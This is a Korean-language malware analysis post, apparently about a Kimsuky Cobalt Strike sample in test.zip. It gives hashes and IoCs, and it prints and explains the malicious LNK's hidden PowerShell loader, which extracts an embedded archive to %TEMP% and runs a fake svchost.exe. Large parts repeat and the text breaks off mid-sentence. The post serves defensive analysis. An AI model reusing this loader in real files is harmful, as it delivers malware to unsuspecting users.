김수키(Kimsuky)에서 만든 코발트 스트라이크(Cobalt Strike) 악성코드-test.zip(2025.1.11)
Contents
오늘은 우리가 정말로 존경하지 않는 북한 김수키(Kimsuky)에서 만든 코발트 스트라이크(Cobalt Strike) 악성코드-test.zip(2025.1.11)에 대해 글을 적어보겠습니다.
해당 악성코드는 다음과 같습니다.
파일명:test.zip
사이즈:15,282 Bytes
MD5:8d3dd8b5a883a2080525a11807b2a6e1
SHA-1:da3cbfad064e12c4334161a00335c0176011d0c2
SHA-256:c2faf67cab95cba996e6b705e9579ffbc53fec55b09064308c2c38dbf6018077
Powershell 코드
StringData
{
namestring: Type: Text Document
Size: 391,2KB KB
Date modified: 30/11/2022 14:56
relativepath: not present
workingdir: not present
commandlinearguments:
/c powershell -windowstyle hidden ($o)bf_lnkpath = Get-Child(It)em *.lnk ^| where(-)object {$_.length -eq 0(0)395530} ^| Select-Object -Exp(a)ndProperty FullName;$o(b)f_file = [system.io(.)file]::ReadAll(B)ytes($obf_lnkpath);$obf_path = '%TEMP%\tmp'(+)(Get-Random)+'(.)zip';$obf_path = [Envir(o)nment]::Expa(n)dEnvironmentVa(r)iables($obf_path);$obf_dir = [System.IO(.)Path]::GetDire(c)toryName($obf_path);[Syste(m).IO.File]::WriteA(l)lBytes($obf_path, $obf_file[003412..($obf_file.length)]);cd $obf_dir;Expand-Archive -Path $obf_path -DestinationPath . -EA Sile(n)tlyContinue -Force ^| Out-Null;Remove-Item -Path $obf_path -EA SilentlyCo(n)tinue -Force ^| Out-Null;^& .\svchost(.)exe
iconlocation: C:Program FilesWindows NTAccessorieswordpad.exe
}
악성코드 분석
1. 아이콘 위치: C:\Program Files\Windows NT\Accessories\wordpad.exe
아이콘은 Wordpad의 것으로 설정되어 있으며 사용자가 문서 파일로 착각하도록 유도하는 전형적인 사회공학적 기법
2.Power shell 명령어 분석
Get-ChildItem .lnk:현재 디렉터리에서 .lnk 파일을 찾음
where-object {$_.length -eq 00395530}:파일 크기가 정확히 395,530 바이트인 파일만 선택
Select-Object -ExpandProperty FullName:선택한 파일의 전체 경로를 반환하여 변수 $obf_lnkpath에 저장
$obf_file: 앞서 선택된. lnk 파일의 내용을 바이너리 형태로 읽어들여서 $obf_file에 저장
$obf_path:임시 디렉터리 %TEMP% 에 무작위 이름으로. zip 파일 경로를 생성
Get-Random을 사용하여 무작위 파일 이름을 생성함으로써 탐지를 어렵게 만드는 것이 …
해당 악성코드는 다음과 같습니다.
파일명:test.zip
사이즈:15,282 Bytes
MD5:8d3dd8b5a883a2080525a11807b2a6e1
SHA-1:da3cbfad064e12c4334161a00335c0176011d0c2
SHA-256:c2faf67cab95cba996e6b705e9579ffbc53fec55b09064308c2c38dbf6018077
Powershell 코드
StringData
{
namestring: Type: Text Document
Size: 391,2KB KB
Date modified: 30/11/2022 14:56
relativepath: not present
workingdir: not present
commandlinearguments:
/c powershell -windowstyle hidden ($o)bf_lnkpath = Get-Child(It)em *.lnk ^| where(-)object {$_.length -eq 0(0)395530} ^| Select-Object -Exp(a)ndProperty FullName;$o(b)f_file = [system.io(.)file]::ReadAll(B)ytes($obf_lnkpath);$obf_path = '%TEMP%\tmp'(+)(Get-Random)+'(.)zip';$obf_path = [Envir(o)nment]::Expa(n)dEnvironmentVa(r)iables($obf_path);$obf_dir = [System.IO(.)Path]::GetDire(c)toryName($obf_path);[Syste(m).IO.File]::WriteA(l)lBytes($obf_path, $obf_file[003412..($obf_file.length)]);cd $obf_dir;Expand-Archive -Path $obf_path -DestinationPath . -EA Sile(n)tlyContinue -Force ^| Out-Null;Remove-Item -Path $obf_path -EA SilentlyCo(n)tinue -Force ^| Out-Null;^& .\svchost(.)exe
iconlocation: C:Program FilesWindows NTAccessorieswordpad.exe
}
악성코드 분석
1. 아이콘 위치: C:\Program Files\Windows NT\Accessories\wordpad.exe
아이콘은 Wordpad의 것으로 설정되어 있으며 사용자가 문서 파일로 착각하도록 유도하는 전형적인 사회공학적 기법
2.Power shell 명령어 분석
Get-ChildItem .lnk:현재 디렉터리에서 .lnk 파일을 찾음
where-object {$_.length -eq 00395530}:파일 크기가 정확히 395,530 바이트인 파일만 선택
Select-Object -ExpandProperty FullName:선택한 파일의 전체 경로를 반환하여 변수 $obf_lnkpath에 저장
$obf_file: 앞서 선택된. lnk 파일의 내용을 바이너리 형태로 읽어들여서 $obf_file에 저장
$obf_path:임시 디렉터리 %TEMP% 에 무작위 이름으로. zip 파일 경로를 생성
Get-Random을 사용하여 무작위 파일 이름을 생성함으로써 탐지를 어렵게 만드는 것이 …
IoC
7207593087e9fc954d40c212c1d7d715
ce13fdeb751805770de676f0b387623e590ac17c569c5bc9e81323bdd6213521
c2faf67cab95cba996e6b705e9579ffbc53fec55b09064308c2c38dbf6018077
da3cbfad064e12c4334161a00335c0176011d0c2
8d3dd8b5a883a2080525a11807b2a6e1
0950e65c47b3f45d0ab1e9171aa4fa1fe31d8821
ce13fdeb751805770de676f0b387623e590ac17c569c5bc9e81323bdd6213521
c2faf67cab95cba996e6b705e9579ffbc53fec55b09064308c2c38dbf6018077
da3cbfad064e12c4334161a00335c0176011d0c2
8d3dd8b5a883a2080525a11807b2a6e1
0950e65c47b3f45d0ab1e9171aa4fa1fe31d8821